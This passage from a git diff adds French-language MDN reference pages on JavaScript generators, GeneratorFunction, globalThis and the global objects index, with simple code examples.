+<div class="note">
+<p><strong>Note : </strong>Si <code>done</code> vaut <code>true</code>, <code>return(valeur)</code> renverra la même chose que <code>next()</code> : <code>undefined</code>. Si aucun argument n'est fourni, la propriété <code>value</code> de l'objet renvoyé sera la même qu'avec un appel à <code>.next()</code>. Si un argument est fourni, c'est lui qui sera utilisé comme valeur pour l'attribut <code>value</code> du résultat.</p>
+
+<pre class="brush: js">function* gen() {
+  yield 1;
+  yield 2;
+  yield 3;
+}
+var g = gen();
+console.log(g.next()); // { value: 1; done: false}
+console.log(g.next()); // { value: 2; done: false}
+console.log(g.next()); // { value: 3; done: false}
+console.log(g.next()); // { value: undefined; done: true}
+console.log(g.return()); // { value: undefined; done: true}
+console.log(g.return(1)); // { value: 1; done: true}
+
+</pre>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.return', 'Generator.prototype.return')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Generator.return")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Instructions/function*">function*</a></code></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/generator/throw/index.html b/files/fr/web/javascript/reference/objets_globaux/generator/throw/index.html
new file mode 100644
index 0000000000..efcc057257
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/generator/throw/index.html
@@ -0,0 +1,101 @@
+---
+title: Generator.prototype.throw()
+slug: Web/JavaScript/Reference/Objets_globaux/Generator/throw
+tags:
+  - ECMAScript 2015
+  - Generator
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>throw</strong></code><strong><code>()</code></strong> lève une erreur dans un générateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>gen</var>.throw(<var>exception</var>)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>exception</code></dt>
+ <dd>L'exception à lever. On préfèrera généralement utiliser un objet qui est une instance d'{{jsxref("Error")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un {{jsxref("Object")}} avec deux propriétés :</p>
+
+<ul>
+ <li><code>done</code> (un booléen)
+
+  <ul>
+   <li>Qui vaut <code>true</code> lorsque l'itérateur a fini de parcourir la suite. Dans ce cas, <code>value</code> correspondra éventuellement à la valeur de retour de l'itérateur.</li>
+   <li>Qui vaut <code>false</code> si l'itérateur a pu produire la prochaine valeur de la série.</li>
+  </ul>
+ </li>
+ <li><code>value</code> : une valeur renvoyée par l'itérateur. Lorsque <code>done</code> vaut <code>true</code>, cette valeur peut être absente ou valoir <code>undefined</code>.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_throw()">Utiliser <code>throw()</code></h3>
+
+<p>Dans l'exemple suivant, on utilise un générateur simple et on génère une exception grâce à la méthode <code>throw()</code>. Une exception peut être interceptée avec un bloc {{jsxref("Instructions/try...catch","try...catch")}} usuel.</p>
+
+<pre class="brush: js">function* gen() {
+  while(true) {
+    try {
+       yield 42;
+    } catch(e) {
+      console.log("Erreur interceptée !");
+    }
+  }
+}
+
+var g = gen();
+g.next();
+// { value: 42, done: false }
+g.throw(new Error("Quelque chose s'est mal passé"));
+// "Erreur interceptée !"
+// { value: 42, done: false }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Generator.throw")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Instructions/function*","function*")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/generatorfunction/index.html b/files/fr/web/javascript/reference/objets_globaux/generatorfunction/index.html
new file mode 100644
index 0000000000..fa791f53b6
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/generatorfunction/index.html
@@ -0,0 +1,115 @@
+---
+title: GeneratorFunction
+slug: Web/JavaScript/Reference/Objets_globaux/GeneratorFunction
+tags:
+  - Constructor
+  - ECMAScript 2015
+  - GeneratorFunction
+  - Iterator
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
+---
+<div>{{JSRef}}</div>
+
+<p>Le constructeur <strong><code>GeneratorFunction</code></strong> permet de créer un nouvel objet qui est une {{jsxref("Instructions/function*", "fonction génératrice","",1)}}. En JavaScript, chaque générateur (ou fonction génératrice) est un objet <code>GeneratorFunction</code>.</p>
+
+<p>L'objet <code>GeneratorFunction</code> n'est pas un objet global. Il peut être obtenu en exécutant le code suivant :</p>
+
+<pre class="brush: js">Object.getPrototypeOf(function*(){}).constructor
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new GeneratorFunction ([<var>arg1</var>[, <var>arg2</var>[, ...<var>argN</var>]],] corpsFonction)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>arg1, arg2, ... arg<em>N</em></code></dt>
+ <dd>Les noms à utiliser pour les arguments formellement déclarés. Chacun doit être une chaîne de caractères correspondant à un identifiant JavaScript valide ou une liste de telles chaînes séparées par des virgules. Par exemple, on peut avoir "<code>x</code>", "<code>maValeur</code>", ou "<code>a,b</code>".</dd>
+ <dt><code>corpsFonction</code></dt>
+ <dd>Une chaîne qui contient les instructions JavaScript qui composent la définition de la fonction.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Les {{jsxref("Instructions/function*", "fonctions génératrices","",1)}} créées avec le constructeur <code>GeneratorFunction</code> sont analysés lorsque la fonction est crée. Cela est moins efficace que de déclarer un générateur avec une expression {{jsxref("Statements/function*", "function*")}} puis de l'appeler car ces fonctions sont analysées avec le reste du code (ce qui permet au moteur JavaScript d'effectuer certaines optimisations).</p>
+
+<p>Tous les arguments passés à la fonction sont traités par la suite avec les noms des identifiants utilisés pour les noms des paramètres lors de la création de la fonction et avec cet ordre là.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les {{jsxref("Instructions/function*", "générateurs","",1)}} créés avec le constructeur <code>GeneratorFunction</code> ne créent pas de fermetures avec leurs contextes de création. Ils sont toujours créés dans la portée globale. Lorsqu'ils sont exécutés, ils n'ont accès qu'à leurs variables locales et aux variables globales et ils n'ont pas accès aux variables de la portée où a eu lieu l'appel à <code>GeneratorFunction</code>. Ce comportement est différent de celui obtenu lorsqu'on appelle {{jsxref("Objets_globaux/eval", "eval")}} avec du code correspondant à une expression de générateur.</p>
+</div>
+
+<p>L'appel du constructeur <code>GeneratorFunction</code> comme fonction (c'est-à-dire sans utiliser l'opérateur <code>new</code>) aura le même effet que si celui-ci est invoqué comme constructeur.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code><strong>GeneratorFunction.length</strong></code></dt>
+ <dd>La propriété de longueur du constructeur <code>GeneratorFunction</code> qui vaut 1.</dd>
+ <dt>{{jsxref("GeneratorFunction.prototype")}}</dt>
+ <dd>Le prototype du constructeur qui permet d'ajouter des propriétés à tous les générateurs.</dd>
+</dl>
+
+<h2 id="Le_prototype_de_GeneratorFunction">Le prototype de <code>GeneratorFunction</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/GeneratorFunction/prototype', 'Properties')}}</div>
+
+<h2 id="Les_instances_de_GeneratorFunction">Les instances de <code>GeneratorFunction</code></h2>
+
+<p>Les instances de <code>GeneratorFunction</code> héritent des méthodes et propriétés de {{jsxref("GeneratorFunction.prototype")}}. Comme pour tous les constructeurs, il est possible de modifier le prototype afin d'apporter des modifications à toutes les instances de <code>GeneratorFunction</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Créer_un_générateur_en_utilisant_le_constructeur_GeneratorFunction">Créer un générateur en utilisant le constructeur <code>GeneratorFunction</code></h3>
+
+<pre class="brush: js">var GeneratorFunction = Object.getPrototypeOf(function*(){}).constructor
+var g = new GeneratorFunction("a", "yield a * 2");
+var itérateur = g(10);
+console.log(itérateur.next().value); // 20
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generatorfunction-objects', 'GeneratorFunction')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generatorfunction-objects', 'GeneratorFunction')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.GeneratorFunction")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'instruction {{jsxref("Instructions/function*", "function*")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/function*", "function*")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>L'instruction {{jsxref("Instructions/function", "function")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/L_opérateur_function", "function")}}</li>
+ <li>{{jsxref("Fonctions", "Les fonctions et portées de fonctions", "", 1)}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/generatorfunction/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/generatorfunction/prototype/index.html
new file mode 100644
index 0000000000..02ef0c9492
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/generatorfunction/prototype/index.html
@@ -0,0 +1,66 @@
+---
+title: GeneratorFunction.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/GeneratorFunction/prototype
+tags:
+  - ECMAScript 2015
+  - GeneratorFunction
+  - Iterator
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>GeneratorFunction.prototype</strong></code> représente le prototype de l'objet {{jsxref("GeneratorFunction")}}.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Les objets {{jsxref("GeneratorFunction")}} héritent de <code>GeneratorFunction.prototype</code>. <code>GeneratorFunction.prototype</code> ne peut pas être modifié.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code><strong>GeneratorFunction.constructor</strong></code></dt>
+ <dd>La valeur initiale correspond à {{jsxref("GeneratorFunction")}}.</dd>
+ <dt><code><strong>GeneratorFunction.prototype.prototype</strong></code></dt>
+ <dd>La valeur est <code>%GeneratorPrototype%</code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generatorfunction.prototype', 'GeneratorFunction.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.GeneratorFunction.prototype")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/globalthis/index.html b/files/fr/web/javascript/reference/objets_globaux/globalthis/index.html
new file mode 100644
index 0000000000..30338dd4a9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/globalthis/index.html
@@ -0,0 +1,87 @@
+---
+title: globalThis
+slug: Web/JavaScript/Reference/Objets_globaux/globalThis
+tags:
+  - JavaScript
+  - Reference
+  - globalThis
+translation_of: Web/JavaScript/Reference/Global_Objects/globalThis
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La propriété globale <code><strong>globalThis</strong></code> renvoie l'objet global de plus haut niveau.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-globalthis.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuer à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><code>globalThis</code>
+</pre>
+
+<h2 id="Description">Description</h2>
+
+<p>Par le passé, il était nécessaire d'utiliser différentes syntaxes pour différents environnements afin d'accéder à la portée globale. Sur le Web, on peut utiliser {{domxref("Window.window", "window")}}, {{domxref("Window.self", "self")}} ou {{domxref("Window.frames", "frames")}} ; pour les <a href="/en-US/docs/Web/API/Worker">web workers</a>, seul <code>self</code> peut être employé ; pour Node.js aucun de ces mots-clés ne fonctionne et il faut utiliser <code>global</code>.<br>
+ Le mot-clé <code>this</code> pouvait être utilisé à l'intérieur des fonctions en <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode non-strict</a> mais vaudra sinon <code>undefined</code> dans les modules et dans les fonctions utilisant le <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>.</p>
+
+<p>La propriété <code>globalThis</code> fournit une méthode standard d'accès à l'objet <code>this</code> global, quel que soit l'environnement. Contrairement aux propriétés <code>window</code> et <code>self</code>, ce mot-clé fonctionnera quel que soit le contexte (que celui-ci soit doté de fenêtres ou non). Ainsi, on peut accéder à l'objet global de façon homogène, quel que soit l'environnement dans lequel le code est utilisé.</p>
+
+<p>Pour mieux mémoriser ce nom, on se rappellera que la valeur de <code>this</code> dans la portée globale est <code>globalThis</code>.</p>
+
+<h3 id="Accès_indirect_à_la_variable_globale_dans_un_contexte_web">Accès indirect à la variable globale dans un contexte web</h3>
+
+<p>Dans la plupart des environnements, <code>globalThis</code> sera une référence directe à l'objet global. Cependant, dans les navigateurs web, avec les principes de sécurité relatifs aux <em>iframes</em> et aux liens entre les fenêtres, <code>globalThis</code> fournira un {{jsxref("Proxy")}} sur l'objet global (auquel on n'aura donc pas accès directement).</p>
+
+<h3 id="Nommage">Nommage</h3>
+
+<p>D'autres noms furent proposés pour cette fonctionnalité (tels que <code>self</code> et <code>global</code>) mais ils furent écartés car ils pouvaient entraîner des problèmes de compatibilité avec du code existant. Pour plus de détails, voir <a href="https://github.com/tc39/proposal-global/blob/master/NAMING.md">le document de la proposition pour le nommage</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Avant l'introduction de <code>globalThis</code>, la seule façon qui permettait d'obtenir l'objet global de l'environnement de façon homogène était <code>Function('return this')()</code>. Toutefois, cela enfreignait certaines règles <a href="/fr/docs/Web/HTTP/CSP">CSP</a> avec certains réglages et <a href="https://github.com/paulmillr/es6-shim">es6-shim</a>, par exemple, devait utiliser une logique conditionnelle :</p>
+
+<pre class="brush: js">var getGlobal = function () {
+  if (typeof self !== 'undefined') { return self; }
+  if (typeof window !== 'undefined') { return window; }
+  if (typeof global !== 'undefined') { return global; }
+  throw new Error("impossible de trouver l'objet global");
+};
+
+var globals = getGlobal();
+
+if (typeof globals.setTimeout !== 'function') {
+  // pas de setTimeout pour cet environnement
+}
+</pre>
+
+<p>Avec <code>globalThis</code>, il n'est plus nécessaire de parcourir les différents mots-clés des différents environnements :</p>
+
+<pre class="brush: js">if (typeof globalThis.setTimeout !== 'function') {
+  // pas de setTimeout pour cet environnement
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-global/#sec-other-properties-of-the-global-object-global">Proposition pour <code>globalThis</code></a></td>
+   <td>Proposition de niveau 3 (<em>stage 3</em>)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.globalThis")}}</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/index.html b/files/fr/web/javascript/reference/objets_globaux/index.html
new file mode 100644
index 0000000000..6316e7f6fc
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/index.html
@@ -0,0 +1,185 @@
+---
+title: Objets globaux
+slug: Web/JavaScript/Reference/Objets_globaux
+tags:
+  - Aperçu
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>Cette partie référence tous les objets natifs standards JavaScript, avec leurs propriétés et méthodes.</p>
+
+<p>Le terme « objets globaux » (ou objets natifs standards) ne doit pas ici être confondu avec l<em>'objet global</em>. Ici, « objets globaux » se réfère aux <em>objets de portée globale</em>. L'objet global lui-même peut être accédé en utilisant {{jsxref("Opérateurs/L_opérateur_this", "this")}} dans la portée globale (uniquement lorsque <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">le mode strict</a> n'est pas utilisé, sinon, il renvoie {{jsxref("undefined")}}). En réalité, la portée globale <em>consiste des</em> propriétés de l'objet global (avec ses propriétés héritées, s'il en a).</p>
+
+<div class="note">
+<p><strong>Note :</strong> En <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode">mode strict</a>, la portée globale représentée par <code>this</code> sera {{jsxref("undefined")}}.</p>
+</div>
+
+<p>Les autres objets de la portée globale sont <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_objets#Cr.C3.A9er_de_nouveaux_objets">créés par les scripts utilisateurs</a> ou fournis par l'application hôte dans laquelle s'exécute JavaScript. Les objets mis à disposition par les navigateurs web sont documentés dans la <a href="/fr/docs/Web/API">référence API</a>. Pour plus d'informations sur la distinction entre le <a href="/fr/docs/Web/API/R%C3%A9f%C3%A9rence_du_DOM_Gecko">DOM</a> et JavaScript, voir <a href="/fr/docs/Web/JavaScript/JavaScript_technologies_overview">l'aperçu des technologies JavaScript</a>.</p>
+
+<h2 id="Objets_globaux_standards_(par_catégorie)">Objets globaux standards (par catégorie)</h2>
+
+<h3 id="Propriétés_-_valeurs">Propriétés - valeurs</h3>
+
+<p>Les propriétés globales renvoient une valeur simple, elles ne possèdent aucune propriété ou méthode :</p>
+
+<ul>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+ <li>le littéral {{jsxref("null")}}</li>
+ <li>{{JSxRef("globalThis")}}</li>
+</ul>
+
+<h3 id="Propriétés_-_fonctions">Propriétés - fonctions</h3>
+
+<p>Les fonctions globales, appelées globalement (et non par rapport à un objet), renvoient directement leur résultat à l'objet appelant.</p>
+
+<ul>
+ <li>{{jsxref("Objets_globaux/eval", "eval()")}}</li>
+ <li>{{jsxref("Objets_globaux/uneval", "uneval()")}} {{non-standard_inline()}}</li>
+ <li>{{jsxref("Objets_globaux/isFinite", "isFinite()")}}</li>
+ <li>{{jsxref("Objets_globaux/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Objets_globaux/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Objets_globaux/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Objets_globaux/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Objets_globaux/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Objets_globaux/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Objets_globaux/encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("Objets_globaux/escape", "escape()")}} {{deprecated_inline()}}</li>
+ <li>{{jsxref("Objets_globaux/unescape", "unescape()")}} {{deprecated_inline()}}</li>
+</ul>
+
+<h3 id="Objets_fondamentaux">Objets fondamentaux</h3>
+
+<p>Ces objets sont les objets fondamentaux de JavaScript. Parmi ces objets, on retrouve les objets génériques, les fonctions et les erreurs.</p>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError")}}</li>
+ <li>{{jsxref("InternalError")}} {{Non-standard_Inline}}</li>
+ <li>{{jsxref("RangeError")}}</li>
+ <li>{{jsxref("ReferenceError")}}</li>
+ <li>{{jsxref("StopIteration")}}</li>
+ <li>{{jsxref("SyntaxError")}}</li>
+ <li>{{jsxref("TypeError")}}</li>
+ <li>{{jsxref("URIError")}}</li>
+</ul>
+
+<h3 id="Nombres_et_dates">Nombres et dates</h3>
+
+<p>Ces objets permettent de manipuler les nombres, dates et calculs mathématiques.</p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{JSxRef("BigInt")}}</li>
+ <li>{{jsxref("Math")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
+
+<h3 id="Manipulation_de_textes">Manipulation de textes</h3>
+
+<p>Ces objets permettent de manipuler des chaînes de caractères.</p>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="Collections_indexées">Collections indexées</h3>
+
+<p>Ces objets sont des collections ordonnées par un index. Cela inclut les tableaux (typés) et les objets semblables aux tableaux.</p>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+ <li>{{jsxref("BigInt64Array")}}</li>
+ <li>{{jsxref("BigUint64Array")}}</li>
+</ul>
+
+<h3 id="Collections_avec_clefs">Collections avec clefs</h3>
+
+<p>Ces objets représentent des collections d'objets avec clefs. Ils contiennent des éléments itérables, dans leur ordre d'insertion.</p>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
+
+<h3 id="Données_structurées">Données structurées</h3>
+
+<p>Ces objets permettent de représenter et de manipuler des tampons de données (<em>buffers</em>) et des données utilisant la notation JSON (<strong>J</strong>ava<strong>S</strong>cript <strong>O</strong>bject <strong>N</strong>otation).</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Atomics")}} {{experimental_inline}}</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("JSON")}}</li>
+</ul>
+
+<h3 id="Objets_de_contrôle_d'abstraction">Objets de contrôle d'abstraction</h3>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Generator")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{jsxref("AsyncFunction")}}{{experimental_inline}}</li>
+</ul>
+
+<h3 id="Introspection">Introspection</h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
+
+<h3 id="Internationalisation">Internationalisation</h3>
+
+<p>Ces objets ont été ajoutés à ECMAScript pour des traitements dépendants de particularités linguistiques. Ils possèdent leur propre spécification.</p>
+
+<ul>
+ <li>{{jsxref("Intl")}}</li>
+ <li>{{jsxref("Objets_globaux/Collator", "Intl.Collator")}}</li>
+ <li>{{jsxref("Objets_globaux/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/ListFormat", "Intl.ListFormat")}}</li>
+ <li>{{jsxref("Objets_globaux/NumberFormat", "Intl.NumberFormat")}}</li>
+ <li>{{JSxRef("Global_Objects/PluralRules", "Intl.PluralRules")}}</li>
+ <li>{{jsxref("Objets_globaux/RelativeTimeFormat", "Intl.RelativeTimeFormat")}}</li>
+ <li>{{jsxref("Objets_globaux/Locale", "Intl.Locale")}}</li>
+</ul>
+
+<h3 id="WebAssembly">WebAssembly</h3>
+
+<ul>
+ <li>{{jsxref("WebAssembly")}}</li>
+ <li>{{jsxref("WebAssembly.Module")}}</li>
+ <li>{{jsxref("WebAssembly.Instance")}}</li>
+ <li>{{jsxref("WebAssembly.Memory")}}</li>
+ <li>{{jsxref("WebAssembly.Table")}}</li>
+ <li>{{jsxref("WebAssembly.CompileError")}}</li>
+ <li>{{jsxref("WebAssembly.LinkError")}}</li>
+ <li>{{jsxref("WebAssembly.RuntimeError")}}</li>
+</ul>
+
+<h3 id="Autres">Autres</h3>
+
+<ul>
+ <li>{{JSxRef("Fonctions/arguments", "arguments")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/infinity/index.html b/files/fr/web/javascript/reference/objets_globaux/infinity/index.html
new file mode 100644
index 0000000000..1259fea9c2
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/infinity/index.html
@@ -0,0 +1,83 @@
+---
+title: Infinity
+slug: Web/JavaScript/Reference/Objets_globaux/Infinity
+tags:
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Infinity
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>La propriété globale <strong><code>Infinity</code></strong> est une valeur numérique représentant l'infini.</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-infinity.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Infinity</pre>
+
+<h2 id="Description">Description</h2>
+
+<p><code>Infinity</code> est une propriété de <em>l'objet global</em> , c'est-à-dire qu'elle est accessible globalement.</p>
+
